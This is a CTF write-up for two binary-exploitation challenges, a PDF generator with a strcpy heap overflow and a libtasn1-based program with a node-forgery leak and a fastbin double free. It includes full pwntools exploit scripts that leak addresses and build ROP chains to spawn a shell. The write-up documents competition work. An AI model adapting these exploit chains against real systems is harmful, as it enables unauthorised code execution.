There are 5 three pwn challenges, but I only sloved 2 challenges. These are write-ups for them:

Poetry of a bug

Attachment

Rerversing create_pdf and add_metadata helps me recover Entry and Pdf struct:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
struct Entry
{
char name[50];
char value[100];
};

struct __attribute__((packed)) __attribute__((aligned(4))) Pdf
{
Stream *next;
int stream_count;
Entry entries[10];
int entries_num;
};

Pdf *create_pdf()
{
Pdf *Pdf; // rax

Pdf = (Pdf *)calloc(1uLL, 0x5F0uLL);
Pdf->next = 0LL;
Pdf->stream_count = 0;
Pdf->entries_num = 0;
return Pdf;
}


void __fastcall add_metadata(Pdf *ptr, const char *src, const char *src_1)
{
Entry *dest; // [rsp+28h] [rbp-8h]

if ( ptr->entries_num <= 9 )
{
dest = &ptr->entries[ptr->entries_num];
strncpy(dest->name, src, 49uLL);
dest->name[49] = 0;
strncpy(dest->value, src_1, 99uLL);
dest->value[99] = 0;
++ptr->entries_num;
printf("Metadata added successfully: %s = %s\n", src, src_1);
}
else
{
puts("Error: Maximum number of metadata entries reached.");
}
}

Rerversing add_stream to recover Stream struct:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
struct Stream
{
unsigned __int16 len;
char *data;
int magic;
float signature;
Stream *next;
};

void __fastcall add_stream(Pdf *pdf, const char *string)
{
Stream *i; // [rsp+10h] [rbp-10h]
Stream *ptra; // [rsp+18h] [rbp-8h]

if ( pdf->stream_count <= 511 )
{
ptra = (Stream *)malloc(0x20uLL);
if ( ptra )
{
ptra->data = strndup(string, 0xF9uLL);
if ( ptra->data )
{
ptra->len = strlen(ptra->data);
ptra->magic = 0x42800000;
ptra->signature = (float)(-20 * pdf->stream_count + 750);
ptra->next = 0LL;
if ( pdf->next )
{
for ( i = pdf->next; i->next; i = i->next )
;
i->next = ptra;
}
else
{
pdf->next = ptra;
}
++pdf->stream_count;
puts("Stream added successfully.");
}
else
{
puts("Error: Memory allocation failed for stream data.");
free(ptra);
}
}
else
{
puts("Error: Memory allocation failed for stream structure.");
}
}
else
{
puts("Error: Maximum number of streams reached.");
}
}

There is a buffer-overflow bug in modify_stream function, it calls strcpy to copy src to next->data without checking next->len:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void __fastcall modify_stream(Pdf *ptr, int i_1, const char *src)
{
int i; // [rsp+24h] [rbp-Ch]
Stream *next; // [rsp+28h] [rbp-8h]

if ( i_1 >= 0 && i_1 < ptr->stream_count )
{
next = ptr->next;
for ( i = 0; i < i_1; ++i )
next = next->next;
strcpy(next->data, src); // bug
next->len = strlen(src);
puts("Stream modified successfully.");
}
else
{
puts("Error: Invalid stream index.");
}
}

With this bug, I could overwrite heap chunk’s size , Stream::ptr and Stream::next.

I won’t write the details how I exploited with this bug but only the idea:

  • Overwriting one stream’s ptr to its address so I could leak heap’s address.
  • Allocating some stream and overwriting one’s metadata size. Freeing it and I had a unsortedbin. Overwriting one stream’s ptr to unsortedbin’s address to leak libc’s address.
  • Overwriting one stream’s ptr to libc.envrion to leak stack address
  • Overwriting one stream’s ptr to main’s saved return address to a rop chain
  • Finally overwriting the second stream’s ptr and next to NULL to return safety and get the shell.

Script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
#!/usr/bin/env python
from pwn import *
from time import sleep

context.binary = e = ELF("pdf_generator")
libc = ELF("./libc.so.6")
gs = """
ida_connect
# brva 0x271C
# brva 0x190B
# brva 0x1EEA
brva 0x2A4D
b generate_pdf
set max-visualize-chunk-size 0x200
"""


def start():
if args.LOCAL:
p = e.process()

elif args.REMOTE: # python x.py REMOTE <host> <port>
host_port = sys.argv[1:]
p = remote(host_port[0], int(host_port[1]))
return p


def add_key_value(key, value):
return f'1500 "{key}" "{value}"'.encode()


def remove_key(key):
return f'1501 "{key}"'.encode()


def add_stream(text):
return f'1502 "{text}"'.encode()


def remove_stream(idx):
return f'1503 "{idx}"'.encode()


def gen_pdf(filename):
return f'1504 "{filename}"'.encode()


def print_state():
return b'1505'


def edit_stream(idx, text):
return f'1508 "{idx}" "'.encode()+text+b'"'
sleep(0.5)


p = start()

p.sendline(add_stream("A"*0x27))
p.sendline(add_stream("B"*0x8))
p.sendline(add_stream("2"*0xa0))
p.sendline(edit_stream(0, b'A'*(0x30)+b'\x40'))
p.sendline(gen_pdf("stdout"))
p.recvuntil(b'B'*8)
p.recv(8*4)
heap = u64(p.recv(8)) - 0x980
log.success(hex(heap))
p.sendline(edit_stream(0, b'A'*(0x30-1)))

for i in range(8):
p.sendline(edit_stream(0, b'A'*(0x30-1-i)))

p.sendline(edit_stream(0, b'A'*(0x30-8)+b'\x31'))

for i in range(0x440//0xa0):
p.sendline(add_stream(str(3+i)*0xa0))

p.sendline(edit_stream(1, b'B'*0x18+p16(0x541)))
p.sendline(remove_stream(2))


p.sendline(add_stream('9'*0x10))
p.sendline(edit_stream(1, b'B'*0x18+b'-'*0x10+p64(heap+0x9a0)[:6]))
p.sendline(edit_stream(1, b'B'*0x18+b'-'*0x8+b'\x08'))

for i in range(7):
p.sendline(edit_stream(1, b'B'*(0x18+7-i)))
p.sendline(edit_stream(1, b'B'*0x18+p8(0x31)))

p.sendline(gen_pdf("stdout"))
p.recvuntil(b'8'*0xa0)
p.recvuntil(b'BT /F1 12.00 Tf 0 0 0 rg 64.00 590.00 Td (')
libc.address = u64(p.recv(8)) - (libc.sym.main_arena+96)
log.success(hex(libc.address))


p.sendline(edit_stream(0, b'A'*0x28+b'X'*0x10+p64(libc.sym.environ)[:6]))
p.sendline(edit_stream(0, b'A'*0x28+b'X'*0x8+b'\x08'))

for i in range(8):
p.sendline(edit_stream(0, b'A'*(0x30-1-i)))

p.sendline(edit_stream(0, b'A'*(0x30-8)+b'\x31'))


p.sendline(gen_pdf("stdout"))
p.recvuntil(b'BT /F1 12.00 Tf 0 0 0 rg 64.00 730.00 Td (')
stack = u64(p.recv(8))
p.recv()
log.success(hex(stack))
ret_addr = stack - 0x130


p.sendline(edit_stream(0, b'A'*0x28+b'X'*0x10+p64(ret_addr)[:6]))
p.sendline(edit_stream(0, b'A'*0x28+b'X'*0x8+b'\x08'))

for i in range(8):
p.sendline(edit_stream(0, b'A'*(0x30-1-i)))

p.sendline(edit_stream(0, b'A'*(0x30-8)+b'\x31'))
p.sendline(edit_stream(1, b'A'*0x10+p64(libc.sym.system+27)[:6]))
p.sendline(edit_stream(1, b'A'*0x8+b'A'*7))
p.sendline(edit_stream(1, b'A'*0x8+p64(next(libc.search(b'/bin/sh')))[:6]))
p.sendline(edit_stream(1, b'A'*7))
p.sendline(edit_stream(1, p64(libc.address+0x000000000010f75b)[:6]))


# clean ptr

for i in range(8):
p.sendline(edit_stream(0, b'A'*0x28+b'X'*0x20+b'A'*(7-i)))

for i in range(8):
p.sendline(edit_stream(0, b'A'*0x28+b'X'*0x10+b'A'*(7-i)))
p.sendline(edit_stream(0, b'A'*0x28+b'X'*0x8+b'\x08'))

for i in range(8):
p.sendline(edit_stream(0, b'A'*(0x30-1-i)))

p.sendline(edit_stream(0, b'A'*(0x30-8)+b'\x31'))

if args.GDB:
gdb.attach(p, gdbscript=gs)
pause()


p.sendline(b'1507')

log.success(hex(heap))
log.success(hex(libc.address))
log.success(hex(ret_addr))

p.interactive()

pwnmyasn1

Attachment

This is a binary using libtasn1 library.
When the first time seeing this challenge, I had no idea how asn1 works.

Reading this manual and asking ChatGPT for the details. I defined my node was:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Example { 1 2 3 4 }

DEFINITIONS EXPLICIT TAGS ::=

BEGIN

Group ::= SEQUENCE {
id OBJECT IDENTIFIER,
value Value
}

Value ::= SEQUENCE {
value1 INTEGER,
value2 BOOLEAN
}

END

Also, I imported this defenition to IDA because I would need to know many attributes of ans1 node lately:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct node_asn_struct
{
char *name; /* Node name */
unsigned int type; /* Node type */
unsigned char *value; /* Node value */
int value_len;
struct node_asn_struct *down; /* Pointer to the son node */
struct node_asn_struct *right; /* Pointer to the brother node */
struct node_asn_struct *left; /* Pointer to the next list element */
};


typedef struct node_asn_struct node_asn;

typedef node_asn *ASN1_TYPE;

from: https://github.com/Chronic-Dev/libtasn1/blob/master/lib/libtasn1.h#L116C3-L130C31

I could leak heap’s address via dumps_node:

1
2
3
4
5
6
7
8
void __cdecl dumps_node()
{
if ( main_elem )
{
puts("Here is the node:");
write(1, main_elem, 0xB0uLL);
}
}

The edits_node function allows me to create a new fake node:

1
2
3
4
5
6
7
8
void __cdecl edits_node()
{
if ( main_elem )
{
puts("Enter the new node:");
read(0, main_elem, 0xB0uLL);
}
}

and I could print value with read_value:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void __cdecl read_value()
{
int len; // [rsp+8h] [rbp-218h] BYREF
int ret; // [rsp+Ch] [rbp-214h]
char name[256]; // [rsp+10h] [rbp-210h] BYREF
char value[264]; // [rsp+110h] [rbp-110h] BYREF
unsigned __int64 v4; // [rsp+218h] [rbp-8h]

v4 = __readfsqword(0x28u);
if ( main_elem )
{
memset(value, 0, 0x100uLL);
puts("Which value to read:");
read_string(name, 256);
len = 256;
ret = asn1_read_value(main_elem, name, value, &len);
printf("Read %d bytes\n", len);
puts(value);
}
}

I overwrote main_elem->down to a fake node which has value points to unsortedbin:

alt text
alt text

Actually, not every nodes allow to read value as raw bytes. By reading the libtasn1’s source code, I found that ASN1_ETYPE_UTC_TIME nodes allow to read raw bytes:

1
2
case ASN1_ETYPE_UTC_TIME:
PUT_AS_STR_VALUE (value, value_size, node->value, node->value_len);

Using the same technique to leak stack via environ.

But I could not use this trick with write_value to have arbitrary write.

After leaking libc and stack’s addresses, I noticed that there are 7 0x20-tcachebins and many 0x20-fastbins:
alt text

In asn1_write_value, if the type is ASN1_ETYPE_GENERALIZED_TIME it will call _asn1_set_value. _asn1_set_value frees current node->value before copying value to the new node->value:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
asn1_node
_asn1_set_value (asn1_node node, const void *value, unsigned int len)
{
if (node == NULL)
return node;
if (node->value)
{
if (node->value != node->small_value)
free (node->value);
node->value = NULL;
node->value_len = 0;
}

if (!len)
return node;

if (len < sizeof (node->small_value))
{
node->value = node->small_value;
}
else
{
node->value = malloc (len);
if (node->value == NULL)
return NULL;
}
node->value_len = len;

memcpy (node->value, value, len);
return node;
}

So if note->value is already a fastbin ( not fastbin 0), freeing it will cause double free without aborting the process.

alt text

Allocating 7 0x20-chunks, I would have fastbin dup:

alt text

Because I could only write 0x20 bytes, poisoning tcache/fastbin to main’s saved return address and writting a ROP chain is impossible.

Luckily, I found that rdi’s value is a pointer which is on the stack and smaller than rsp before write_value returns:
alt text

So just poisoning to write_value‘s save return address and changing it to gets.

Script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
#!/usr/bin/env python
from pwn import *
from time import sleep

context.binary = e = ELF("pwnmyasn1_patched")
libc = e.libc
gs = """
set debuginfod enabled off
brva 0x193B
b asn1_write_value
b write_value
"""


def start():
if args.LOCAL:
p = e.process()

elif args.REMOTE: # python x.py REMOTE <host> <port>
host_port = sys.argv[1:]
p = remote(host_port[0], int(host_port[1]))
return p


def read_node(node):
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"What's your node:", node)


def dump_node():
p.sendlineafter(b"> ", b"2")


def edits_node(data):
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"Enter the new node:", data)


def prints_node(name):
p.sendlineafter(b"> ", b"4")
p.sendlineafter(b"What name should we print:", name)


def creates_element(element):
p.sendlineafter(b"> ", b"5")
p.sendlineafter(b"Which element:", element)


def deletes_element(element):
p.sendlineafter(b"> ", b"6")
p.sendlineafter(b"Which element:", element)


def read_value(element):
p.sendlineafter(b"> ", b"7")
p.sendlineafter(b"Which value to read:", element)


def write_value(element, len, value):
p.sendlineafter(b"> ", b"8")
p.sendlineafter(b"Which value to write:", element)
p.sendlineafter(b"How long is the value:", str(len).encode())
p.sendlineafter(b'Enter the value to write:', value)
sleep(0.1)


def alloc_chunk(size, data):
p.sendlineafter(b"> ", b"9")
p.sendlineafter(b"Which size:", str(size).encode())
p.sendlineafter(b'Feel free to fill your chunk:', data)


p = start()

read_node(b'''Example { 1 2 3 4 }

DEFINITIONS EXPLICIT TAGS ::=

BEGIN

Group ::= SEQUENCE {
id OBJECT IDENTIFIER,
value Value
}

Value ::= SEQUENCE {
value1 INTEGER,
value2 BOOLEAN
}

END''')

creates_element(b"Example.Value")
write_value(b"value1", 0x100, b'A'*0x100)


read_value(b"value1")
p.recvuntil(b'A'*0x100)
e.address = u64(p.recv(6)+b'\0\0') - 0x3d18
log.success(hex(e.address))

dump_node()
p.recvuntil(b"Here is the node:\n")
node_data = p.recv(0xb0)


# type = struct asn1_node_st {
# /* 0 | 65 */ char name[65];
# /* XXX 3-byte hole */
# /* 68 | 4 */ unsigned int name_hash;
# /* 72 | 4 */ unsigned int type;
# /* XXX 4-byte hole */
# /* 80 | 8 */ unsigned char *value;
# /* 88 | 4 */ int value_len;
# /* XXX 4-byte hole */
# /* 96 | 8 */ asn1_node down;
# /* 104 | 8 */ asn1_node right;
# /* 112 | 8 */ asn1_node left;
# /* 120 | 16 */ unsigned char small_value[16];
# /* 136 | 8 */ asn1_node parent;
# /* 144 | 16 */ struct asn1_node_array_st {
# /* 144 | 8 */ asn1_node *nodes;
# /* 152 | 8 */ size_t size;

# /* total size (bytes): 16 */
# } numbered_children;
# /* 160 | 4 */ int tmp_ival;
# /* 164 | 4 */ unsigned int start;
# /* 168 | 4 */ unsigned int end;
# /* XXX 4-byte padding */

# /* total size (bytes): 176 */
# } *

_ = u64(node_data[96:96+8])
heap = _ - 0x540
log.info(f"node->down: {hex(_)}")
log.success(hex(heap))

toleak = heap+0xab0

write_value(b"dummy", 0xb0, (
b"value1".ljust(68, b'\0') +
# 36: https://github.com/gnutls/libtasn1/blob/2f1943343b113e1f5648373a9b109072ffb48c99/lib/element.c#L966C10-L966C29
p32(1642303556)+p32(36)+p32(0) +
p64(toleak)+p64(0x8) +
p64(heap+0x600) + # right
p64(heap+0x480) # left
).ljust(0xb0, b'\0')) # will at heap+0x9f0

node_data_new = node_data[:96]+p64(heap+0x9f0)+node_data[96+8:]
edits_node(node_data_new)


read_value(b"value1")
p.recvuntil(b'Read 9 bytes\n')
libc.address = u64(p.recv(6)+b'\0\0') - (libc.sym.main_arena+96)
log.success(hex(libc.address))
strlen_got = libc.address+0x21a098

write_value(b"dummy", 0xb0, (
b"value1".ljust(68, b'\0') +
# 36: https://github.com/gnutls/libtasn1/blob/2f1943343b113e1f5648373a9b109072ffb48c99/lib/element.c#L966C10-L966C29
p32(1642303556)+p32(36)+p32(0) +
p64(libc.sym.environ)+p64(0x8) +
p64(heap+0x600) + # right
p64(heap+0x480) # left
).ljust(0xb0, b'\0')) # will at heap+0xab0
node_data_new = node_data[:96]+p64(heap+0xab0)+node_data[96+8:]
edits_node(node_data_new)
read_value(b"value1")
p.recvuntil(b'Read 9 bytes\n')
stack = u64(p.recv(6)+b'\0\0')
retaddr = stack - 0x140
log.info(hex(stack))


write_value(b"dummy", 0xb0, (
b"value1\0".ljust(68, b'X') +
# https://github.com/gnutls/libtasn1/blob/2f1943343b113e1f5648373a9b109072ffb48c99/lib/element.c#L579C4-L581C42
p32(1642303556)+p32(37)+p32(0) +
p64(heap+0x1630)+p64(0x8) +
p64(heap+0x600) + # right
p64(heap+0x480) # left
).ljust(0xb0, b'\0')) # will at heap+0xb70


node_data_new = node_data[:96]+p64(heap+0xb70)+node_data[96+8:]
edits_node(node_data_new)


write_value(b"value1", 0x290-8, b'A')

for i in range(7):
write_value(b"dummy", 8, b'a')


if args.GDB:
gdb.attach(p, gdbscript=gs)
pause()


write_value(b"value1", 8, p64(((heap+0x1630) >> 12) ^ (retaddr-8)))
write_value(b"dummy", 8, b'a')
write_value(b"dummy", 8, b'a')


write_value(b"sh\0", 0x18, b'/bin/sh;'+p64(
libc.sym.gets))

offset = 0
if args.REMOTE:
offset = 0x1d

p.sendline(b'A'*offset+p64(libc.address+0x000000000002a3e5+1)*(0x1f0//8)+p64(libc.address+0x000000000002a3e5) +
p64(next(libc.search(b'/bin/sh')))+p64(libc.sym.system))

p.interactive()

Epilogue

This is the first time my team has participated in a on-site CTF event.

We (maybe luckily) got the top 2:

alt text

alt text

See you the next time, Paris.